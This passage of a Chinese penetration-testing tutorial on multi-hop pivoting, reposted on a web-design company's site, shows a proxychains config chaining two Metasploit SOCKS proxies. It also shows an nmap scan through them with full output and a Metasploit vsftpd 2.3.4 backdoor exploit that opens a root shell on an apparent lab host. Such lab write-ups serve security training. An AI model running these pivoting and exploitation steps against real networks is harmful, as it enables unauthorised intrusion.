  15. msf auxiliary(socks4a) > 
    16.

也即现在Attacker本地的1080端口的代理可以访问到7.7.7.x网段,1081端口的代理可以访问到8.8.8.x网段,然后将新开的端口 添加到proxychains的配置文件中:

 
 
 
 
    
  
  
  
  
  1. root@kali:~# cat /etc/proxychains.conf | grep -v "#"dynamic_chainproxy_dns tcp_read_time_out 15000tcp_connect_time_out 8000socks4  172.16.0.20 1080  # First Pivotsocks4  172.16.0.20 1081  # Second Pivot 
    2.

上面的两个代理相当于扇门的钥匙,172.16.0.20:1080是7.7.7.x的钥匙,172.16.0.20:1081是7.7.7.x后面的8.8.8.x的钥匙 ,Attacker要想访问到8.8.8.x可以通过先打开7.7.7.x的门,再打开8.8.8.x的门(因为8.8.8.x这个门在7.7.7.x这个门之后)

使用Attacker本地的nmap扫描下8.8.8.x网段:

 
 
 
 
    
  
  
  
  
  1. root@kali:~# proxychains nmap -sT -sV -p21,22,23,80 8.8.8.9 -n -Pn -vvProxyChains-3.1 (http://proxychains.sf.net)Starting Nmap 7.25BETA1 ( https://nmap.org )Nmap wishes you a merry Christmas! Specify -sX for Xmas Scan (https://nmap.org/book/man-port-scanning-techniques.html).NSE: Loaded 36 scripts for scanning. 
    2. 
  
  
  
  
  2. Initiating Connect Scan 
    3. 
  
  
  
  
  3. Scanning 8.8.8.9 [4 ports] 
    4. 
  
  
  
  
  4. |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK 
    5. 
  
  
  
  
  5. Discovered open port 21/tcp on 8.8.8.9|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK 
    6. 
  
  
  
  
  6. Discovered open port 23/tcp on 8.8.8.9|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK 
    7. 
  
  
  
  
  7. Discovered open port 22/tcp on 8.8.8.9|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK 
    8. 
  
  
  
  
  8. Discovered open port 80/tcp on 8.8.8.9Completed Connect Scan at 05:54, 1.37s elapsed (4 total ports)Initiating Service scan at 05:54 
    9. 
  
  
  
  
  9. Scanning 4 services on 8.8.8.9 
    10. 
  
  
  
  
  10. |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK 
    11. 
  
  
  
  
  11. |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK 
    12. 
  
  
  
  
  12. |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK 
    13. 
  
  
  
  
  13. |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK 
    14. 
  
  
  
  
  14. Completed Service scan at 05:54, 11.09s elapsed (4 services on 1 host)NSE: Script scanning 8.8.8.9. 
    15. 
  
  
  
  
  15. NSE: Starting runlevel 1 (of 2) scan. 
    16. 
  
  
  
  
  16. Initiating NSE at 05:54 
    17. 
  
  
  
  
  17. |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK 
    18. 
  
  
  
  
  18. |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK 
    19. 
  
  
  
  
  19. Completed NSE at 05:54, 1.71s elapsed 
    20. 
  
  
  
  
  20. NSE: Starting runlevel 2 (of 2) scan. 
    21. 
  
  
  
  
  21. Initiating NSE at 05:54 
    22. 
  
  
  
  
  22. Completed NSE at 05:54, 0.00s elapsed 
    23. 
  
  
  
  
  23. Nmap scan report for 8.8.8.9 
    24. 
  
  
  
  
  24. Host is up, received user-set (0.41s latency). 
    25. 
  
  
  
  
  25. Scanned  
    26. 
  
  
  
  
  26. PORT   STATE SERVICE REASON  VERSION 
    27. 
  
  
  
  
  27. 21/tcp open  ftp     syn-ack vsftpd 2.3.4 
    28. 
  
  
  
  
  28. 22/tcp open  ssh     syn-ack OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)23/tcp open  telnet  syn-ack Linux telnetd 
    29. 
  
  
  
  
  29. 80/tcp open  http    syn-ack Apache httpd 2.2.8 ((Ubuntu) DAV/2) 
    30. 
  
  
  
  
  30. Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel 
    31. 
  
  
  
  
  31. Read data files from: /usr/bin/../share/nmap 
    32. 
  
  
  
  
  32. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 14.59 seconds 
    33. 
  
  
  
  
  33. root@kali:~# 
    34.

发现8.8.8.9(SK)这台机器可能有漏洞,用msf模块尝试getshell:

 
 
 
 
    
  
  
  
  
  1. msf > msf > use exploit/unix/ftp/vsftpd_234_backdoor msf exploit(vsftpd_234_backdoor) > show options Module options (exploit/unix/ftp/vsftpd_234_backdoor):   Name   Current Setting  Required  Description   ----   ---------------  --------  -----------   RHOST                   yes       The target address   RPORT  21               yes       The target portExploit target:   Id  Name   --  ----   0   Automaticmsf exploit(vsftpd_234_backdoor) > set rhost 8.8.8.9rhost => 8.8.8.9msf exploit(vsftpd_234_backdoor) > run[*] 8.8.8.9:21 - Banner: 220 (vsFTPd 2.3.4)[*] 8.8.8.9:21 - USER: 331 Please specify the password.[+] 8.8.8.9:21 - Backdoor service has been spawned, handling...[+] 8.8.8.9:21 - UID: uid=0(root) gid=0(root)[*] Found shell.[*] Command shell session 4 opened (Local Pipe -> Remote Pipe) pwd/iduid=0(root) gid=0(root)ifconfigeth0      Link encap:Ethernet  HWaddr 08:00:27:56:f1:7c            inet addr:8.8.8.9  Bcast:8.8.8.255  Mask:255.255.255.0          inet6 addr: fe80::a00:27ff:fe56:f17c/64 Scope:Link          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1          RX packets:10843 errors:0 dropped:0 overruns:0 frame:0          TX packets:2779 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:1000           RX bytes:1081842 (1.0 MB)  TX bytes:661455 (645.9 KB)          Base address:0xd010 Memory:f0000000-f0020000 lo        Link encap:Local Loopback            inet addr:127.0.0.1  Mask:255.0.0.0          inet6 addr: ::1/128 Scope:Host          UP LOOPBACK RUNNING  MTU:16436  Metric:1          RX packets:18161 errors:0 dropped:0 overruns:0 frame:0          TX packets:18161 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:0           RX bytes:5307479 (5.0 MB)  TX bytes:5307479 (5.0 MB) 
    2.

文章标题：多重转发渗透隐藏内网
转载源于：http://www.shufengxianlan.com/qtweb/news17/504867.html

网站建设、网络推广公司-创新互联，是专注品牌与效果的网站制作，网络营销seo公司；服务项目有等

广告

声明：本网站发布的内容（图片、视频和文字）以用户投稿、用户转载内容为主，如果涉及侵权请尽快告知，我们将会在第一时间删除。文章观点不代表本网站立场，如需处理请联系客服。电话：028-86922220；邮箱：631063699@qq.com。内容未经允许不得转载，或转载时需注明来源： 创新互联

猜你还喜欢下面的内容

企业建站知识

分类信息网站

四川搅拌罐车　　 　成都网站设计　　 　网站解决方案　　 　上海济桢教育　　 　南京护栏钻孔机　　 　微信小程序开发　　 　网站服务器租用　　 　成都模版网站建设　　 　郫县网站建设　　 　雅安网站建设　　 　重庆服务器托管　　 　重庆网站制作　　 　新型地坪材料　　 　成都免费建站　　 　营销型网站建设　　 　四川艺考培训　　 　微信小程序　　 　成都企业网站建设公司　　 　led无边发光字　　 　资阳服务器托管